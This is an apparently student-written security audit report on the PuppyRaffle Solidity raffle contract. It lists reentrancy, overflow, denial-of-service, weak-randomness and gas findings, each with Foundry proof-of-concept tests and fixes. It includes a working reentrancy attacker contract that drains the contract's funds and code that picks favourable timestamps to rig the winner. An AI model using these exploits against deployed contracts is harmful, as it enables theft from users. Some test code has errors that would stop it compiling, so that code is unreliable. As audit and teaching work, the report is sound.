PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

September 15, 2025

Protocol Audit Report

Cyfrin.io

September 15, 2025

Prepared by: Reidner Lead Auditors: - Reidner

Table of Contents

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I dont know

Issues found

Severity	Number of issues found
Hig	2
Medium	4
Low	1
gas	2
Info	5
total	14

Findings

High

[H-1] Reentrancy vulnerability in `PuppyRaffle::refund` allows attacker to drain contract balance

Description: The PuppyRaffle::refund function transfers ETH to the player using a low-level call (sendValue) before properly updating state. This makes the function vulnerable to a reentrancy attack, since a malicious contract can re-enter refund via its receive() or fallback() function before the player's slot is cleared.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
6 @>      payable(msg.sender).sendValue(entranceFee);
7 @>      players[playerIndex] = address(0);
8     }
```

Because players[playerIndex] is cleared only after the external call, an attacker can recursively call refund() and drain the contract.

Impact: An attacker can repeatedly refund the same slot before it is cleared, stealing ETH far beyond their initial deposit. This leads to complete loss of funds for the raffle contract. All honest players are left without refunds or prizes.

Proof of Concept: The following test demonstrates the attack. A malicious contract enters the raffle, then exploits reentrancy to recursively call refund() and drain the raffle balance:

Proof of Code:

Code

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
```

```
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * players}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackerUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          vm.prank(attackUser);
17          attackerContract.attack{value: entranceFee}();
18
19          console.log("Starting attacker balance:",
                startingAttackContractBalance);
20          console.log("Starting contract balance:",
                startingContractBalance);
21          console.log("Ending attacker balance:", address(
                attackerContract).balance);
22          console.log("Ending contract balance:", address(puppyRaffle).
                balance);
23      }
```

Recommended Mitigation: 1. Checks-Effects-Interactions pattern – always update internal state before making external calls.

```
1 - payable(msg.sender).sendValue(entranceFee);
2 - players[playerIndex] = address(0);
3
4 + players[playerIndex] = address(0);
5 + payable(msg.sender).sendValue(entranceFee);
```

2. Alternatively, use ReentrancyGuard from OpenZeppelin to prevent nested calls.

[H-2] totalFees in PuppyRaffle can overflow due to improper accounting

Description: The PuppyRaffle::selectWinner function accumulates fees in a uint64 totalFees variable. Because totalFees uses a uint64, extremely large entrance fees or a large number of participants can cause it to overflow.

Impact: The contract can misreport the total fees collected. Fee accounting becomes inconsistent. Does not directly allow stealing funds or manipulating the raffle winner.

Proof of Code:

Code

```
function test_totalFeeOverflow() public {
    // Define the maximum value of a uint64
    uint64 maxUint64 = type(uint64).max;

    // Set an extremely large entrance fee to trigger potential overflow
    uint64 hugeEntrance = (maxUint64 / 4) * 10;

    // Deploy a new PuppyRaffle contract with the huge entrance fee
    PuppyRaffle overflowRaffle = new PuppyRaffle(hugeEntrance, feeAddress, duration);

    // Prepare an array of 4 players
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;

    // Fund each player with a very large balance so they can pay the huge entrance fee
    vm.deal(playerOne, type(uint256).max);
    vm.deal(playerTwo, type(uint256).max);
    vm.deal(playerThree, type(uint256).max);
    vm.deal(playerFour, type(uint256).max);

    // Players enter the raffle, paying the massive entrance fee
    overflowRaffle.enterRaffle{value: hugeEntrance * players.length}(players);

    // Advance time to allow selecting a winner
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // Expect the selectWinner call to revert due to overflow or related issues
    vm.expectRevert();
    overflowRaffle.selectWinner();

    // Check the totalFees after the overflow attempt
    uint256 totalFees = overflowRaffle.totalFees();
    console.log("totalFees after overflow attempt:", totalFees); // Logs the potentially overflowed value
}
```

Recommended Mitigation:

1. Change totalFees to a larger integer type, e.g., uint256.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

1. Use a newer version of solidity that does not have integer overflows

```
- pragma solidity: ^0.7.6;
+ pragma solidity: ^0.8.18;
```

Medium

[M-1] Users can inflate `PuppyRaffle::enterRaffle` array causing Denial of Service, and incrementing gas cost for future entrance

Description: The `PuppyRaffle::enterRaffle` funtion looping trhough the `players` array to check for duplicate. However the longer `PuppyRaffle::enterRaffle` arrayis, more gas is necessary for looping the `players` array. This means the gas cost for players who enter first on raffle will be dramatically lower than tose who enter later.

```
        //@audit DoS a user can inflate the array address
@>        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later userus from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: The following test demonstrates how an attacker can inflate the players array until the gas consumption exceeds the block gas limit, effectively preventing new participants from entering the raffle. The test also illustrates how the gas cost grows disproportionately as the array size increases.

PoC

```
        function test_denialOfService() public {
            uint256 numPlayers = 100000;
            address[] memory newPlayers = new address[](numPlayers);
```

```
4
5               for (uint256 i = 0; i < numPlayers; i++) {
6                   newPlayers[i] = address(uint160(i + 1));
7               }
8
9               uint256 gasBefore = gasleft();
10              vm.expectRevert();
11              puppyRaffle.enterRaffle{value: entranceFee * newPlayers.
                    length}(newPlayers);
12              uint256 gasAfter = gasleft();
13
14              console.log("Gas Used:", gasBefore - gasAfter);
15          }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make a new wallet addresses anyways, so duplicate check doesn´t prevent the same person from entering multiple times, only the same wallet.
2. Consider using a mapping to check duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3      function enterRaffle(address[] memory newPlayers) public payable {
4          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
5          for (uint256 i = 0; i < newPlayers.length; i++) {
6              players.push(newPlayers[i]);
7  +            addressToRaffleId[newPlayers[i]] = raffleId;
8          }
9
10 -        // Check for duplicates
11 +        // Check for duplicates only from the new players
12 +        for (uint256 i = 0; i < newPlayers.length; i++) {
13 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
14 +        }
15 -        for (uint256 i = 0; i < players.length; i++) {
16 -            for (uint256 j = i + 1; j < players.length; j++) {
17 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
18 -            }
19 -        }
20         emit RaffleEnter(newPlayers);
21     }
22 .
23 .
24 .
25     function selectWinner() external {
26 +       raffleId = raffleId + 1;
```

```
27          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

[M-2] Incorrect accounting in PuppyRaffle::selectWinner causes inflated prize calculation and Denial of Service

Description: The PuppyRaffle::selectWinner function calculates the total prize pool using the length of the players array, regardless of whether some entries were refunded and replaced with address(0).

```
1       function selectWinner() external {
2           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
3
4           uint256 totalAmountCollected = players.length * entranceFee; //
                @audit wrong accounting
5           ...
6       }
```

This approach is flawed because refunded players still occupy array slots, but no longer represent active funds in the contract. As a result, the prize calculation assumes more ETH than the contract actually holds.

Impact: 1. If fewer than 4 valid players remain (e.g., some refunded), the raffle may revert and never complete. 2. If there are more than 4 valid players but with refunded slots, the totalAmountCollected value is inflated, leading to payout attempts greater than the actual contract balance. This causes a revert and a permanent Denial of Service of the raffle.

Proof of Concept: The following test demonstrates the issue when 6 players join, but 2 request a refund:

PoC

```
1       function test_RefundCreatesABronkenPrizeCalculation() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           vm.prank(playerOne);
10          puppyRaffle.refund(0);
11          vm.prank(playerTwo);
12          puppyRaffle.refund(1);
13
14          assertEq(puppyRaffle.players(0), address(0));
15          assertEq(puppyRaffle.players(1), address(0));
```

```
        assertEq(puppyRaffle.players(2), playerThree);
        assertEq(puppyRaffle.players(3), playerFour);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation: Instead of using players.length, track the actual funds collected or active players count. 1.Introduce a variable to track total ETH collected after refunds:

```
- uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 totalAmountCollected = address(this).balance;
```

2.Alternatively, maintain a counter of active players and decrement it on refunds.

[M-3] Weak randomness in PuppyRaffle::selectWinner allows predictable and manipulable outcomes and theres no access control

Description: The PuppyRaffle::selectWinner function determines the winner using:

```
    //@audit weak randomness
    uint256(keccak256(abi.encodePacked(
        msg.sender,
        block.timestamp,
        block.difficulty
    ))) % players.length;
```

This approach is insecure because: Predictable inputs → block.timestamp and block.difficulty can be read before transaction execution. Miner manipulation → block producers can influence both timestamp (within ~15s range) and difficulty to bias the result. msg.sender chosen by caller → the contract allows anyone to trigger selectWinner, meaning the caller can pick their own address to skew entropy.

Impact: Any participant or miner can predict or manipulate the outcome of the raffle. The fairness of the raffle is compromised → malicious players can guarantee they win or avoid losing. This breaks the core functionality of the raffle system (trustless randomness).

Proof of Concept:

```
    //Anybody can call the selectWinner function
    function testPredictableWinner_ByCaller() public {
        address attacker = makeAddr("attacker");
        address[] memory players = new address[](4);
        players[0] = playerOne;
```

```
6           players[1] = playerTwo;
7           players[2] = playerThree;
8           players[3] = attacker;
9           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10
11          vm.warp(block.timestamp + duration + 1);
12          vm.roll(block.number + 1);
13
14          uint256 predictedIndex = uint256(keccak256(abi.encodePacked(
                attacker, block.timestamp, block.difficulty))) % 4;
15
16          address expectedWinner = puppyRaffle.players(predictedIndex);
17
18          vm.prank(attacker);
19          puppyRaffle.selectWinner();
20
21          assertEq(puppyRaffle.previousWinner(), expectedWinner);
22      }
23      //weak randomness allows predicting the winner
24      function test_MinerCanPickTimestampToFavorAttacker() public {
25          address attacker = makeAddr("attacker");
26          address[] memory players = new address[](4);
27          players[0] = playerOne;
28          players[1] = playerTwo;
29          players[2] = playerThree;
30          players[3] = attacker;
31          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
32
33          uint256 startSearch = puppyRaffle.raffleStartTime() + duration
                + 1;
34          uint256 foundTs = 0;
35          uint256 targetIndex = 3;
36          uint256 searchWindow = 1000;
37
38          uint256 d = block.difficulty;
39
40          for (uint256 dt = 0; dt < searchWindow; dt++) {
41              uint256 ts = startSearch + dt;
42              uint256 idx = uint256(keccak256(abi.encodePacked(attacker,
                    ts, d))) % 4;
43              if (idx == targetIndex) {
44                  foundTs = ts;
45                  break;
46              }
47          }
48          assertTrue(foundTs != 0, "no favorable timestamp found in
                window");
49          vm.warp(foundTs);
50          vm.roll(block.number + 1);
51
52          address expectedWinner = puppyRaffle.players(targetIndex);
```

```
53
54          vm.prank(attacker);
55          puppyRaffle.selectWinner();
56
57          assertEq(puppyRaffle.previousWinner(), expectedWinner);
58      }
```

Recommended Mitigation: 1. Use Chainlink VRF or another verifiable randomness source instead of on-chain predictable variables. 2. Do not use msg.sender in the randomness calculation, since the caller fully controls this variable. 3. Restrict who can call selectWinner only the contract owner or an authorized keeper

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
    ```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state variable should be declares constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable.

Instances:
-`PuppyRaffle::raffleDuration` should be `immutable`
-`PuppyRaffle::commonImageUri` should be `constant`
-`PuppyRaffle::rareImageUri` should be `constant`
-`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```diff
```

```
41 + uint256 playersLength = players.length;
42 - for (uint256 i = 0; i < players.length - 1; i++) {
43 + for (uint256 i = 0; i < playersLength - 1; i++) {
44 -     for (uint256 j = i + 1; j < players.length; j++) {
45 +     for (uint256 j = i + 1; j < playersLength; j++) {
46         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
               );
47 }
48 }
```

Information

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contract instead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`

-Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using a outdated version of Solidity is not remmended.

solc frequently release new compiler version. Using an old version prevents access to a new Solidity security checks. We also remmend avoiding complex pragma statement.

Recommendations:

Deploy with any of the following Solidity versions:

0.8.18

The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1         previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1         feeAddress = newFeeAddress;
```

[I-4] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-5] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```